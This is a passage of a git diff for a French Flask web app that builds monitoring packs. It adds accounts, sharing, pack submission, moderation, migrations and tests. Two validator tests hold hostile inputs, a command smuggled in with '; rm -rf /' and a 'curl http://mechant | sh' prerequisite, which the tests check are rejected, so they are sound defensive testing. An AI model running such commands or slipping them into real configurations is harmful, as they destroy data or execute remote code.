yaml: zone.value }) + }).then(function (donnees) { + retour.innerHTML = ''; + if (donnees.valide) { + var note = elt('div', { className: 'notice' }); + note.appendChild(elt('b', { textContent: 'Pack valide' })); + note.appendChild(elt('p', { + textContent: donnees.pack.nom + ' — ' + donnees.pack.sondes + ' sonde(s), modele ' + donnees.pack.modele_hote + })); + retour.appendChild(note); + envoi.disabled = false; + } else { + var mauvais = elt('div', { className: 'notice bad' }); + mauvais.appendChild(elt('b', { textContent: 'A corriger' })); + var ul = elt('ul'); + donnees.problemes.forEach(function (p) { ul.appendChild(elt('li', { textContent: p })); }); + mauvais.appendChild(ul); + retour.appendChild(mauvais); + envoi.disabled = true; + } + }).catch(function (erreur) { alert(erreur.message); }); + } + })); + + envoi.addEventListener('click', function () { + appelJSON('/api/soumissions', { + method: 'POST', body: JSON.stringify({ yaml: zone.value, message: mot.value }) + }).then(function () { + fermerModale(); + etat('Pack soumis, en attente de relecture'); + }).catch(function (erreur) { alert('Soumission refusee : ' + erreur.message); }); + }); + + barre.appendChild(envoi); + corps.appendChild(barre); + }); +}); diff --git a/enclume/static/enclume.css b/enclume/static/enclume.css index 453f652..0b4a92e 100644 --- a/enclume/static/enclume.css +++ b/enclume/static/enclume.css @@ -63,6 +63,7 @@ small { color: var(--ink-dim); font-size: 12px; display: block; margin-top: 4px; font-size: 14px; font-weight: 600; } +.toolbar select { width: auto; min-width: 210px; flex: 0 0 auto; } .toolbar .sep { width: 1px; height: 22px; background: var(--line); margin: 0 4px; } .toolbar .grow { flex: 1; text-align: right; color: var(--ok); font-size: 12.5px; } @@ -364,3 +365,32 @@ pre.code { .pied .grow { flex: 1; } .pied a { color: var(--ink-dim); } .pied a:hover { color: var(--accent); } + +/* -------------------------------------------- comptes, partage, moderation */ + +.toolbar .compte { font-size: 12.5px; color: var(--ink-dim); } +.toolbar .compte a { margin-left: 6px; } +.toolbar a.btn { padding: 6px 11px; } + +.wrap-moderation { max-width: 1000px; margin: 0 auto; padding: 22px 26px 60px; } +.moderation { display: flex; flex-direction: column; } +.moderation-detail { + margin-top: 22px; + border-top: 1px solid var(--line); + padding-top: 18px; +} +.moderation-detail h3 { margin-bottom: 10px; } +.moderation-detail pre.code { border-top: 1px solid var(--line); margin-top: 10px; } + +#modal-corps textarea { + font-family: var(--mono); + font-size: 12px; + margin-bottom: 10px; +} +#modal-corps input[type="text"] { margin-bottom: 10px; } +#modal-corps .notice { margin: 12px 0 0; } + +/* --------------------------------------------------------- prerequis */ + +.prerequis { display: grid; grid-template-columns: repeat(2, minmax(0, 1fr)); gap: 4px 16px; } +.prerequis textarea { min-height: 90px; } diff --git a/enclume/static/moderation.js b/enclume/static/moderation.js new file mode 100644 index 0000000..28e6726 --- /dev/null +++ b/enclume/static/moderation.js @@ -0,0 +1,117 @@ +/* Moderation des soumissions de packs. */ + +'use strict'; + +var liste = document.getElementById('liste'); +var detail = document.getElementById('detail'); +var filtre = document.getElementById('filtre-statut'); + +function creer(tag, props) { + var noeud = document.createElement(tag); + Object.keys(props || {}).forEach(function (cle) { + if (cle === 'onclick') noeud.addEventListener('click', props[cle]); + else noeud[cle] = props[cle]; + }); + return noeud; +} + +function json(url, options) { + options = options || {}; + options.headers = Object.assign({ 'Content-Type': 'application/json' }, options.headers || {}); + return fetch(url, options).then(function (r) { + return r.json().catch(function () { return {}; }).then(function (corps) { + if (!r.ok) throw new Error(corps.erreur || 'echec de la requete'); + return corps; + }); + }); +} + +function charger() { + detail.hidden = true; + liste.innerHTML = ''; + json('/api/moderation/soumissions?statut=' + encodeURIComponent(filtre.value)) + .then(function (soumissions) { + if (!soumissions.length) { + liste.appendChild(creer('p', { className: 'lede', textContent: 'Rien dans cette file.' })); + return; + } + soumissions.forEach(function (s) { + var ligne = creer('div', { className: 'pack-ligne' }); + var texte = creer('div'); + texte.appendChild(creer('b', { textContent: s.nom || s.pack_id })); + texte.appendChild(creer('span', { className: 'tag', textContent: s.statut.replace('_', ' ') })); + texte.appendChild(creer('div', { + className: 'desc', + textContent: s.pack_id + ' — ' + s.categorie + ' — propose par ' + (s.auteur || 'inconnu') + + ' le ' + (s.cree_le || '').slice(0, 10) + })); + if (s.url_pr) { + var lien = creer('a', { href: s.url_pr, textContent: 'demande de fusion', target: '_blank' }); + lien.rel = 'noopener'; + texte.appendChild(lien); + } + if (s.reponse) texte.appendChild(creer('div', { className: 'desc', textContent: 'Motif : ' + s.reponse })); + ligne.appendChild(texte); + var actions = creer('div', { className: 'barre' }); + actions.appendChild(creer('button', { + type: 'button', className: 'small', textContent: 'Examiner', + onclick: function () { examiner(s.id); } + })); + ligne.appendChild(actions); + liste.appendChild(ligne); + }); + }) + .catch(function (erreur) { + liste.appendChild(creer('div', { className: 'notice bad', textContent: erreur.message })); + }); +} + +function examiner(identifiant) { + json('/api/moderation/soumissions/' + identifiant).then(function (s) { + detail.hidden = false; + detail.innerHTML = ''; + detail.appendChild(creer('h3', { textContent: (s.nom || s.pack_id) + ' — ' + s.pack_id })); + if (s.message) { + var mot = creer('div', { className: 'notice' }); + mot.appendChild(creer('b', { textContent: "Mot de l'auteur" })); + mot.appendChild(creer('p', { textContent: s.message })); + detail.appendChild(mot); + } + detail.appendChild(creer('div', { + className: 'notice', + textContent: "Contribution externe : relire les lignes de commande, les macros et les " + + 'prerequis. Publier ouvre une demande de fusion, ca ne modifie pas la branche principale.' + })); + detail.appendChild(creer('pre', { className: 'code', textContent: s.contenu })); + + if (s.statut === 'en_attente') { + var barre = creer('div', { className: 'barre' }); + barre.appendChild(creer('button', { + type: 'button', className: 'primary auto', textContent: 'Publier (ouvre une demande de fusion)', + onclick: function () { + json('/api/moderation/soumissions/' + identifiant + '/publier', { method: 'POST' }) + .then(function (resultat) { + alert('Demande de fusion ouverte : ' + (resultat.url_pr || 'voir Gitea')); + charger(); + }) + .catch(function (erreur) { alert('Publication impossible : ' + erreur.message); }); + } + })); + barre.appendChild(creer('button', { + type: 'button', className: 'danger', textContent: 'Refuser', + onclick: function () { + var motif = prompt('Motif du refus, communique a l\'auteur :'); + if (motif === null) return; + json('/api/moderation/soumissions/' + identifiant + '/refuser', { + method: 'POST', body: JSON.stringify({ motif: motif }) + }).then(charger).catch(function (erreur) { alert(erreur.message); }); + } + })); + detail.appendChild(barre); + } + detail.scrollIntoView({ behavior: 'smooth', block: 'start' }); + }).catch(function (erreur) { alert(erreur.message); }); +} + +filtre.addEventListener('change', charger); +charger(); diff --git a/enclume/templates/editeur.html b/enclume/templates/editeur.html index d6d2d2e..90840e5 100644 --- a/enclume/templates/editeur.html +++ b/enclume/templates/editeur.html @@ -7,10 +7,26 @@ - - + + +{% if fonctions.partage %} {% endif %} +{% if fonctions.projets_enregistres %} + + +{% endif %} +{% if fonctions.soumissions and utilisateur %} + +{% endif %} +{% if fonctions.comptes %} + {% if utilisateur %} + {{ utilisateur.affichage }}{% if utilisateur.administrateur %} moderation{% endif %} + + {% else %} + Se connecter + {% endif %} +{% endif %} @@ -42,5 +58,10 @@ - + + {% endblock %} diff --git a/enclume/templates/moderation.html b/enclume/templates/moderation.html new file mode 100644 index 0000000..be63515 --- /dev/null +++ b/enclume/templates/moderation.html @@ -0,0 +1,33 @@ +{% extends "base.html" %} +{% block title %}Moderation — Enclume{% endblock %} +{% block body %} +
+{% if not connecte %} +
+ Connexion requise +

Cette page est reservee a l'equipe de moderation.

+

Se connecter

+
+{% elif not autorise %} +
+ Acces refuse +

Votre compte n'appartient pas au groupe de moderation.

+
+{% else %} +
+

Soumissions de packs

+ + + Retour a l'editeur +
+
+ +{% endif %} +
+{% if autorise %}{% endif %} +{% endblock %} diff --git a/enclume/webapp.py b/enclume/webapp.py index 256f538..3831db7 100644 --- a/enclume/webapp.py +++ b/enclume/webapp.py @@ -15,7 +15,10 @@ import zipfile from flask import Flask, Response, jsonify, render_template, request +from . import auth from .catalog import CATEGORIES, Catalog +from .config import Config +from .db import db from .generator import build_plan, generate, render_bundle from .model import CENTREON_VERSIONS, COMMAND_TYPES, Project, detect_macros, strip_secrets from .packs import pack_to_project @@ -44,9 +47,23 @@ def _repertoire_catalogue() -> str: def create_app() -> Flask: app = Flask(__name__) + app.config.from_object(Config) app.config["MAX_CONTENT_LENGTH"] = MAX_BODY app.config["CATALOG"] = Catalog(_repertoire_catalogue()) + if Config.base_active(): + db.init_app(app) + auth.init_app(app) + + from .routes_donnees import bp as bp_donnees + + app.register_blueprint(bp_donnees) + + if not Config.SECRET_KEY_FOURNIE and Config.base_active(): + app.logger.warning( + "ENCLUME_SECRET_KEY absente : les sessions seront perdues au redemarrage." + ) + def catalog() -> Catalog: return app.config["CATALOG"] @@ -69,7 +86,13 @@ def create_app() -> Flask: @app.context_processor def contexte_commun() -> dict: - return {"version": os.environ.get("ENCLUME_VERSION", "dev")} + utilisateur = auth.utilisateur_courant() if Config.base_active() else None + return { + "version": Config.VERSION, + "fonctions": Config.etat(), + "utilisateur": utilisateur, + "oidc_nom": Config.OIDC_NOM, + } @app.get("/") def editor() -> str: @@ -84,6 +107,30 @@ def create_app() -> Flask: service_count=cat.service_count, ) + @app.get("/p/") + def page_partage(identifiant: str) -> str: + """Ouvre l'editeur, qui chargera le projet partage depuis l'API.""" + cat = catalog() + return render_template( + "editeur.html", + versions=CENTREON_VERSIONS, + command_types=COMMAND_TYPES, + categories=CATEGORIES, + grouped=cat.by_category(), + pack_count=len(cat.packs), + service_count=cat.service_count, + partage=identifiant, + ) + + @app.get("/moderation") + def page_moderation(): + utilisateur = auth.utilisateur_courant() if Config.base_active() else None + if utilisateur is None: + return render_template("moderation.html", autorise=False, connecte=False) + return render_template( + "moderation.html", autorise=utilisateur.administrateur, connecte=True + ) + @app.get("/sante") def health() -> Response: cat = catalog() @@ -95,6 +142,7 @@ def create_app() -> Flask: "packs": len(cat.packs), "source_catalogue": cat.root, "erreurs_catalogue": cat.errors, + "fonctions": Config.etat(), } ) diff --git a/migrations/env.py b/migrations/env.py new file mode 100644 index 0000000..1099140 --- /dev/null +++ b/migrations/env.py @@ -0,0 +1,50 @@ +"""Contexte Alembic. + +L'URL vient de l'environnement, jamais du fichier ini : la meme image sert en +developpement et en production. +""" + +from __future__ import annotations + +import os +import sys + +from alembic import context +from sqlalchemy import engine_from_config, pool + +sys.path.insert(0, os.getcwd()) + +from enclume.db import Base # noqa: E402 + +config = context.config +config.set_main_option("sqlalchemy.url", os.environ.get("ENCLUME_DATABASE_URL", "")) +target_metadata = Base.metadata + + +def run_migrations_offline() -> None: + context.configure( + url=config.get_main_option("sqlalchemy.url"), + target_metadata=target_metadata, + literal_binds=True, + dialect_opts={"paramstyle": "named"}, + ) + with context.begin_transaction(): + context.run_migrations() + + +def run_migrations_online() -> None: + connectable = engine_from_config( + config.get_section(config.config_ini_section, {}), + prefix="sqlalchemy.", + poolclass=pool.NullPool, + ) + with connectable.connect() as connection: + context.configure(connection=connection, target_metadata=target_metadata) + with context.begin_transaction(): + context.run_migrations() + + +if context.is_offline_mode(): + run_migrations_offline() +else: + run_migrations_online() diff --git a/migrations/script.py.mako b/migrations/script.py.mako new file mode 100644 index 0000000..98b066e --- /dev/null +++ b/migrations/script.py.mako @@ -0,0 +1,22 @@ +"""${message} + +Revision ID: ${up_revision} +Revises: ${down_revision | comma,n} +Date: ${create_date} +""" +from alembic import op +import sqlalchemy as sa +${imports if imports else ""} + +revision = ${repr(up_revision)} +down_revision = ${repr(down_revision)} +branch_labels = ${repr(branch_labels)} +depends_on = ${repr(depends_on)} + + +def upgrade() -> None: + ${upgrades if upgrades else "pass"} + + +def downgrade() -> None: + ${downgrades if downgrades else "pass"} diff --git a/migrations/versions/0001_socle.py b/migrations/versions/0001_socle.py new file mode 100644 index 0000000..099bbcb --- /dev/null +++ b/migrations/versions/0001_socle.py @@ -0,0 +1,73 @@ +"""Socle : comptes, projets, partages, soumissions. + +Revision ID: 0001 +Revises: +""" + +import sqlalchemy as sa +from alembic import op + +revision = "0001" +down_revision = None +branch_labels = None +depends_on = None + + +def upgrade() -> None: + op.create_table( + "utilisateurs", + sa.Column("id", sa.Integer(), primary_key=True), + sa.Column("sujet", sa.String(255), nullable=False, unique=True), + sa.Column("email", sa.String(320), server_default=""), + sa.Column("nom", sa.String(255), server_default=""), + sa.Column("administrateur", sa.Boolean(), server_default=sa.false()), + sa.Column("cree_le", sa.DateTime(timezone=True), server_default=sa.func.now()), + sa.Column("vu_le", sa.DateTime(timezone=True), server_default=sa.func.now()), + ) + + op.create_table( + "projets", + sa.Column("id", sa.Integer(), primary_key=True), + sa.Column("utilisateur_id", sa.Integer(), sa.ForeignKey("utilisateurs.id"), nullable=False), + sa.Column("nom", sa.String(255), server_default="Projet sans nom"), + sa.Column("contenu", sa.Text(), nullable=False), + sa.Column("cree_le", sa.DateTime(timezone=True), server_default=sa.func.now()), + sa.Column("maj_le", sa.DateTime(timezone=True), server_default=sa.func.now()), + ) + op.create_index("ix_projets_utilisateur", "projets", ["utilisateur_id"]) + + op.create_table( + "partages", + sa.Column("id", sa.String(32), primary_key=True), + sa.Column("contenu", sa.Text(), nullable=False), + sa.Column("nom", sa.String(255), server_default=""), + sa.Column("utilisateur_id", sa.Integer(), sa.ForeignKey("utilisateurs.id"), nullable=True), + sa.Column("cree_le", sa.DateTime(timezone=True), server_default=sa.func.now()), + sa.Column("expire_le", sa.DateTime(timezone=True), nullable=False), + sa.Column("vues", sa.Integer(), server_default="0"), + ) + op.create_index("ix_partages_expire", "partages", ["expire_le"]) + + op.create_table( + "soumissions", + sa.Column("id", sa.Integer(), primary_key=True), + sa.Column("utilisateur_id", sa.Integer(), sa.ForeignKey("utilisateurs.id"), nullable=False), + sa.Column("pack_id", sa.String(64), nullable=False), + sa.Column("categorie", sa.String(32), nullable=False), + sa.Column("nom", sa.String(255), server_default=""), + sa.Column("contenu", sa.Text(), nullable=False), + sa.Column("message", sa.Text(), server_default=""), + sa.Column("statut", sa.String(16), server_default="en_attente"), + sa.Column("reponse", sa.Text(), server_default=""), + sa.Column("url_pr", sa.String(512), server_default=""), + sa.Column("cree_le", sa.DateTime(timezone=True), server_default=sa.func.now()), + sa.Column("traite_le", sa.DateTime(timezone=True), nullable=True), + ) + op.create_index("ix_soumissions_statut", "soumissions", ["statut"]) + + +def downgrade() -> None: + op.drop_table("soumissions") + op.drop_table("partages") + op.drop_table("projets") + op.drop_table("utilisateurs") diff --git a/requirements.txt b/requirements.txt index 7db3a7a..0ed90d2 100644 --- a/requirements.txt +++ b/requirements.txt @@ -1,3 +1,8 @@ Flask>=3.0,<4.0 PyYAML>=6.0,<7.0 gunicorn>=22.0,<27.0 +Authlib>=1.3,<2.0 +Flask-SQLAlchemy>=3.1,<4.0 +SQLAlchemy>=2.0,<3.0 +alembic>=1.13,<2.0 +psycopg[binary]>=3.1,<4.0 diff --git a/tests/test_generation.py b/tests/test_generation.py index 91d53e7..39b3654 100644 --- a/tests/test_generation.py +++ b/tests/test_generation.py @@ -36,6 +36,13 @@ def test_prefixe_applique_aux_references(): assert liaison.count("ACME-") == 2 +def test_version_historique_convertie(): + """Un projet enregistre avec l'ancienne notation reste lisible.""" + projet = Project.from_dict({"centreon_version": "24.x"}) + assert projet.centreon_version == "24.10" + assert Project.from_dict({}).centreon_version == "25.10" + + def test_macros_trois_champs_sur_ancienne_version(): projet = projet_exemple() projet.centreon_version = "legacy" @@ -91,3 +98,26 @@ def test_repli_sur_le_catalogue_de_l_image(tmp_path, monkeypatch): donnees = reponse.get_json() assert donnees["packs"] >= 20 assert donnees["source_catalogue"] == "catalog" + + +def test_toutes_les_ressources_de_la_page_existent(): + """Un lien casse vers le script rend l'interface muette sans aucune erreur serveur.""" + import re + + client = create_app().test_client() + html = client.get("/").data.decode() + refs = re.findall(r'(?:src|href)="(/static/[^"]+)"', html) + assert refs, "la page ne reference aucune ressource statique" + for ref in refs: + assert client.get(ref).status_code == 200, f"ressource introuvable : {ref}" + + +def test_le_script_expose_les_gestionnaires_attendus(): + """Les identifiants du gabarit et ceux du script doivent correspondre.""" + import re + + client = create_app().test_client() + html = client.get("/").data.decode() + script = client.get("/static/editeur.js").data.decode() + for identifiant in re.findall(r'id="(btn-[^"]+|projet-[^"]+)"', html): + assert identifiant in script, f"aucun gestionnaire pour {identifiant}" diff --git a/tests/test_services.py b/tests/test_services.py new file mode 100644 index 0000000..0e8fec4 --- /dev/null +++ b/tests/test_services.py @@ -0,0 +1,279 @@ +"""Tests des fonctionnalites serveur : partage, projets, soumissions, moderation. + +La base est un SQLite temporaire ; PostgreSQL n'apporte rien de plus a verifier +ici, et la CI reste sans service externe. +""" + +from __future__ import annotations + +import importlib +import json + +import pytest + +PACK_VALIDE = """ +id: app-rabbitmq +name: RabbitMQ +category: application +status: to-verify +plugin: centreon_rabbitmq_restapi.pl +description: Supervision d'un broker RabbitMQ via son API de management. +host_template: + name: App-RabbitMQ-custom + alias: Applicatif RabbitMQ + parents: [generic-active-host-custom] + macros: + - {name: RABBITPORT, value: "15672", description: "Port de l'API"} +services: + - name: Queues + alias: Queues + description: Messages en attente + line: "$CENTREONPLUGINS$/centreon_rabbitmq_restapi.pl --plugin=apps::rabbitmq::restapi::plugin --mode=queues --hostname=$HOSTADDRESS$" + macros: + - {name: WARNING, value: "1000", description: "Seuil warning"} +""" + + +@pytest.fixture() +def app(tmp_path, monkeypatch): + monkeypatch.setenv("ENCLUME_DATABASE_URL", f"sqlite:///{tmp_path/'essai.db'}") + monkeypatch.setenv("ENCLUME_CATALOG", "catalog") + monkeypatch.setenv("ENCLUME_SECRET_KEY", "cle-de-test") + monkeypatch.setenv("ENCLUME_COOKIE_SECURE", "0") + + import enclume.config, enclume.db, enclume.auth, enclume.routes_donnees, enclume.webapp + + for module in (enclume.config, enclume.db, enclume.auth, enclume.routes_donnees, enclume.webapp): + importlib.reload(module) + + application = enclume.webapp.create_app() + with application.app_context(): + enclume.db.db.create_all() + return application + + +def _connecter(app, client, administrateur=False): + """Cree un compte et ouvre une session, sans passer par le fournisseur OIDC.""" + from enclume.db import Utilisateur, db + + with app.app_context(): + utilisateur = Utilisateur( + sujet="sujet-de-test", email="essai@example.org", nom="Testeur", + administrateur=administrateur, + ) + db.session.add(utilisateur) + db.session.commit() + identifiant = utilisateur.id + with client.session_transaction() as session: + session["utilisateur_id"] = identifiant + return identifiant + + +# --------------------------------------------------------------- chantier 3 + +def test_partage_cree_et_relu(app): + client = app.test_client() + projet = {"name": "Projet partage", "commands": [{"name": "X", "line": "$USER1$/check_ping"}]} + reponse = client.post("/api/partages", json={"project": projet}) + assert reponse.status_code == 200 + identifiant = reponse.get_json()["id"] + + relu = client.get(f"/api/partages/{identifiant}") + assert relu.status_code == 200 + assert relu.get_json()["project"]["name"] == "Projet partage" + + +def test_partage_vide_les_mots_de_passe(app): + client = app.test_client() + projet = { + "name": "Avec secret", + "host_templates": [ + {"name": "H", "macros": [{"name": "PASSWORD", "value": "secret", "is_password": True}]} + ], + } + identifiant = client.post("/api/partages", json={"project": projet}).get_json()["id"] + relu = client.get(f"/api/partages/{identifiant}").get_json() + assert relu["project"]["host_templates"][0]["macros"][0]["value"] == "" + + +def test_partage_inconnu(app): + assert app.test_client().get("/api/partages/inexistant").status_code == 404 + + +def test_projets_enregistres_cycle_complet(app): + client = app.test_client() + _connecter(app, client) + + cree = client.post("/api/projets", json={"project": {"name": "Mon projet"}}) + assert cree.status_code == 200 + identifiant = cree.get_json()["id"] + + assert len(client.get("/api/projets").get_json()) == 1 + assert client.get(f"/api/projets/{identifiant}").get_json()["project"]["name"] == "Mon projet" + assert client.delete(f"/api/projets/{identifiant}").status_code == 200 + assert client.get("/api/projets").get_json() == [] + + +def test_projets_refuses_sans_connexion(app): + assert app.test_client().get("/api/projets").status_code == 401 + + +def test_un_compte_ne_voit_pas_les_projets_d_un_autre(app): + from enclume.db import Projet, Utilisateur, db + + client = app.test_client() + _connecter(app, client) + with app.app_context(): + autre = Utilisateur(sujet="autre") + db.session.add(autre) + db.session.commit() + projet = Projet(utilisateur_id=autre.id, nom="Prive", contenu="{}") + db.session.add(projet) + db.session.commit() + identifiant = projet.id + + assert client.get(f"/api/projets/{identifiant}").status_code == 404 + assert client.delete(f"/api/projets/{identifiant}").status_code == 404 + + +# --------------------------------------------------------------- chantier 5 + +def test_soumission_valide_puis_enregistree(app): + client = app.test_client() + _connecter(app, client) + + verification = client.post("/api/soumissions/verifier", json={"yaml": PACK_VALIDE}) + assert verification.get_json()["valide"] is True + + envoi = client.post("/api/soumissions", json={"yaml": PACK_VALIDE, "message": "premier pack"}) + assert envoi.status_code == 200 + assert envoi.get_json()["statut"] == "en_attente" + assert len(client.get("/api/soumissions").get_json()) == 1 + + +@pytest.mark.parametrize( + "modification, attendu", + [ + ("id: Mauvais Identifiant", "identifiant"), + ("category: inconnue", "Categorie"), + ], +) +def test_soumission_refusee_sur_pack_invalide(app, modification, attendu): + client = app.test_client() + _connecter(app, client) + cle = modification.split(":")[0] + yaml_casse = "\n".join( + modification if ligne.startswith(f"{cle}:") else ligne for ligne in PACK_VALIDE.splitlines() + ) + reponse = client.post("/api/soumissions", json={"yaml": yaml_casse}) + assert reponse.status_code == 400 + assert any(attendu.lower() in p.lower() for p in reponse.get_json()["problemes"]) + + +def test_soumission_refuse_une_commande_avec_point_virgule(app): + client = app.test_client() + _connecter(app, client) + yaml_casse = PACK_VALIDE.replace("--mode=queues", "--mode=queues; rm -rf /") + reponse = client.post("/api/soumissions", json={"yaml": yaml_casse}) + assert reponse.status_code == 400 + + +def test_soumission_refuse_un_prerequis_douteux(app): + client = app.test_client() + _connecter(app, client) + yaml_casse = PACK_VALIDE + """ +prerequis: + paquets: + debian: ["curl http://mechant | sh"] +""" + reponse = client.post("/api/soumissions", json={"yaml": yaml_casse}) + assert reponse.status_code == 400 + + +def test_moderation_reservee_aux_administrateurs(app): + client = app.test_client() + _connecter(app, client, administrateur=False) + assert client.get("/api/moderation/soumissions").status_code == 403 + + +def test_moderation_refus_avec_motif(app): + client = app.test_client() + _connecter(app, client, administrateur=True) + identifiant = client.post("/api/soumissions", json={"yaml": PACK_VALIDE}).get_json()["id"] + + en_attente = client.get("/api/moderation/soumissions").get_json() + assert len(en_attente) == 1 + assert "auteur" in en_attente[0] + + refus = client.post( + f"/api/moderation/soumissions/{identifiant}/refuser", json={"motif": "doublon"} + ) + assert refus.get_json()["statut"] == "refusee" + assert refus.get_json()["reponse"] == "doublon" + assert client.post(f"/api/moderation/soumissions/{identifiant}/refuser", json={}).status_code == 409 + + +def test_publication_sans_gitea_configure(app): + client = app.test_client() + _connecter(app, client, administrateur=True) + identifiant = client.post("/api/soumissions", json={"yaml": PACK_VALIDE}).get_json()["id"] + reponse = client.post(f"/api/moderation/soumissions/{identifiant}/publier") + assert reponse.status_code == 503 + + +def test_publication_ouvre_une_demande_de_fusion(app, monkeypatch): + """La publication appelle Gitea ; on verifie les appels, sans reseau.""" + import enclume.gitea as gitea + import enclume.routes_donnees as routes + + appels = [] + + def faux_appel(methode, chemin, corps=None): + appels.append((methode, chemin, corps)) + if chemin.endswith("/pulls"): + return {"html_url": "https://gitea.example/Tips-Of-Mine/Enclume/pulls/7"} + return {} + + monkeypatch.setattr(gitea, "_appel", faux_appel) + monkeypatch.setattr(gitea.Config, "GITEA_URL", "https://gitea.example") + monkeypatch.setattr(gitea.Config, "GITEA_TOKEN", "jeton") + monkeypatch.setattr(gitea.Config, "GITEA_PROPRIETAIRE", "Tips-Of-Mine") + monkeypatch.setattr(gitea.Config, "GITEA_DEPOT", "Enclume") + monkeypatch.setattr(routes.Config, "gitea_actif", classmethod(lambda cls: True)) + + client = app.test_client() + _connecter(app, client, administrateur=True) + identifiant = client.post("/api/soumissions", json={"yaml": PACK_VALIDE}).get_json()["id"] + + reponse = client.post(f"/api/moderation/soumissions/{identifiant}/publier") + assert reponse.status_code == 200 + resultat = reponse.get_json() + assert resultat["statut"] == "publiee" + assert resultat["url_pr"].endswith("/pulls/7") + + creation, demande = appels + assert creation[1].endswith("catalog/application/app-rabbitmq.yml") + assert creation[2]["new_branch"].startswith("pack/app-rabbitmq-") + assert demande[2]["head"] == creation[2]["new_branch"] + assert demande[2]["base"] == "main" + + +# ------------------------------------------------------------ etat du site + +def test_les_fonctions_sont_annoncees(app): + fonctions = app.test_client().get("/sante").get_json()["fonctions"] + assert fonctions["partage"] is True # base presente + assert fonctions["comptes"] is False # OIDC absent en test + assert fonctions["publication_gitea"] is False + + +def test_page_de_partage_sert_l_editeur(app): + reponse = app.test_client().get("/p/quelconque") + assert reponse.status_code == 200 + assert b"donnees-contexte" in reponse.data + + +def test_moderation_demande_la_connexion(app): + page = app.test_client().get("/moderation") + assert page.status_code == 200 + assert "Connexion requise".encode() in page.data